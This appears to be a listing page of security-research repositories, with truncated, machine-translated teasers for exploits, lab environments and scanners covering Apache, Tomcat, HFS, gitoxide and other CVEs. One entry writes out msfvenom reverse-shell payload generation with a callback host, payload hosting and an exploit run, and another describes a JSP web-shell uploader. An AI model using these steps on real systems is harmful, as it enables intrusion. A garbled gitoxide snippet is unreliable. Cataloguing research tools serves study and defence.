CVE-2024-23692

Vulnerabilità CVE-2024-23692 di Rejetto HFS HTTP File Server Panoramica Rejetto HFS HTTP File Server è un semplice server web per la condivisione di file che facilita la condivisione di file su una rete o su Internet. Nonostante la sua facilità d'uso e semplicità, è stata scoperta una vulnerabili...

cve-2022-3218

Passo 1 — Creare un payload REALE Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Passo 2 — Servire il payload via HTTP Nella stessa directory: python3 -m http.server 80 Passo 3 — Adattare l'exploit Esegui così: python3 CVE-2022-3218.py 172.20.7.18...

PoC-Apache-CVE-2021-41773-Infrastructure-LAB

Apache CVE-2021-41773 — Lab Docker PoC Avviso di Sicurezza Questo repository riproduce una vulnerabilità pubblicamente divulgata e corretta in un ambiente di laboratorio Docker controllato, per scopi educativi e di ricerca. L'ambiente è intenzionalmente vulnerabile e deve essere distribuito solo ...

CVE-2021-41773

CVE-2021-41773 Ich habe einen POC von CVE-2021-41773 entwickelt , RCE + cgi-bin Path Traversal HINWEIS : GETESTET AUF APACHE2 2.4.49 Du kannst die verwundbare Apache2 2.4.49 direkt von Docker pullen root@kitploit: $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run -dit -p...

CVE-2026-82255

gitoxide versions from 0.25.4 contain an HTTP credential leak vulnerability in the curl-based transport backend where credentials are sent to attacker-controlled servers after HTTP redirects. The vulnerability occurs because credential validation checks the original URL instead of the effective U...

CVE-2026-82247

gitoxide's gix-url crate ?@ so that gitoxide sends the caller's HTTP Basic Authorization credentials to an unintended host. gix-transport is affected in versions = 0.49.0 fixed in 0.58.1...

CVE-2025-55315

CVE-2025-55315 Proof-of-concept Exploit für CVE-2025-55315 .NET HTTP Request Smuggling. Zeigt, wie fehlerhaft geparste Chunked-Encoding es Angreifern ermöglicht, Requests an Proxys und Load Balancern in verwundbaren ASP.NET Core/Kestrel-Servern vorbeizuschmuggeln. 📊 Präsentation Interaktive...

CVE-2022-21907

CVE-2022-21907 Descrizione root@kitploit: POC per CVE-2022-21907: Vulnerabilità di esecuzione remota di codice nello stack del protocollo HTTP. creato da Malwareman il 2022-09-17. Dettagli root@kitploit: Vulnerabilità di esecuzione remota di codice nello stack del protocollo HTTP. Simile a...

cve-2024-23113-test-env

CVE-2024-23113 Ambiente di Test FortiOS Un ambiente di test basato su Docker per validare i template Nuclei di CVE-2024-23113 contro istanze FortiOS vulnerabili simulate. 🔍 Panoramica Questo ambiente simula interfacce HTTP FortiOS vulnerabili per testare le capacità di rilevamento dei template...

httpfuzz-robomiller

httpfuzz-robomiller Fuzzer stupido usato per trovare CVE-2010-1411 basato su cmiller-csw-2010.pdf Babysitting an Army of Monkeys https://fuzzinginfo.files.wordpress.com/2012/05/cmiller-csw-2010.pdf...

EP3_Redes

EP3Redes CVE-2023-29406 भेद्यता के विश्लेषण के लिए GO में HTML सर्वरों का कार्यान्वयन।...

CVE-2025-65855

CVE-2025-65855 HelpFlash IoT OTA-Update – Mehrere Schwachstellen Zusammenfassung Mehrere Schwachstellen im OTA-Firmware-Update-Mechanismus von Netun Solutions HelpFlash IoT ermöglichen einem Angreifer mit kurzem physischem Zugriff die Ausführung von beliebigem Code. CVE-ID: CVE-2025-65855...

CVE-2021-41773

CVE-2021-41773 🐛 Vulnerabilidade de path traversal e divulgação de arquivos no Apache HTTP Server 2.4.49 Foi encontrada uma falha em uma alteração feita na normalização de caminhos no Apache HTTP Server 2.4.49. Um atacante poderia usar um ataque de path traversal para mapear URLs para arquivos fo...

CVE-2026-5096 Everest Forms <= 3.4.4 - Unauthenticated Server-Side Request Forgery via Upload Field 'Previous Value'

The Everest Forms plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.4.4. This is due to the loadpreviousfieldvalue method in class-evf-form-task.php accepting arbitrary URL values from $POST data for upload fields without domain restriction,...

CVE-2021-41773_CVE-2021-42013

Apache HTTP Server 2.4.49, 2.4.50 - Path Traversal & RCE Autore dell'exploit: Lucas Souza https://ls4ss.github.io/ Homepage del fornitore: https://apache.org/ Versione: 2.4.49, 2.4.50 Testato su: 2.4.49, 2.4.50 CVE : CVE-2021-41773, CVE-2021-42013 Crediti: Ash Daulton e il team di sicurezza di...

CVE-2021-41773

CVE-2021-41773 - Apache HTTP Server 2.4.49 Come eseguire il lab CVE-2021-41773-Path Traversal 1. Installa e avvia Docker sul tuo PC/Laptop 2. Clona questo repository GitHub 3. Vai alla cartella Path Traversal 4. Inserisci i seguenti comandi: docker build -t cve-2021-41773-path-traversal . e docke...

CVE-2025-24813-POC

JSP Web Shell Uploader Un semplice strumento Python per caricare una web shell JSP di base su uno o più target tramite richieste HTTP PUT. ⚠️ Solo per test di penetrazione educativi e autorizzati. Apache Tomcat è vulnerabile a un problema di Path Equivalence / Path Traversal dovuto alla gestione...

CVE_2023_44487-Rapid_Reset

CVE-2023-44487 Strumento di Test HTTP/2 Rapid Reset - Edizione Potenziata Uno strumento di test Python completo per CVE-2023-44487 , la vulnerabilità HTTP/2 Rapid Reset. Questo repository contiene sia strumenti di test dell'attacco che strumenti incentrati sulla verifica. ⚠️ DISCLAIMER IMPORTANTE...

CVE-2019-16278

CVE-2019-16278 - Nostromo nhttpd RCE Schwachstellenbeschreibung Schwachstelle zur Ausführung von Remote-Code in Nostromo nhttpd Versionen 2&1...

react2shell-scanner

🚨 React2Shell Scanner RCE con CVSS 10.0 nei React Server Components. La tua app React 19 è vulnerabile? Scanner rapido e accurato per CVE-2025-55182 React2Shell - una vulnerabilità critica di esecuzione remota di codice sfruttata attivamente in ambienti reali. Zero falsi positivi grazie al...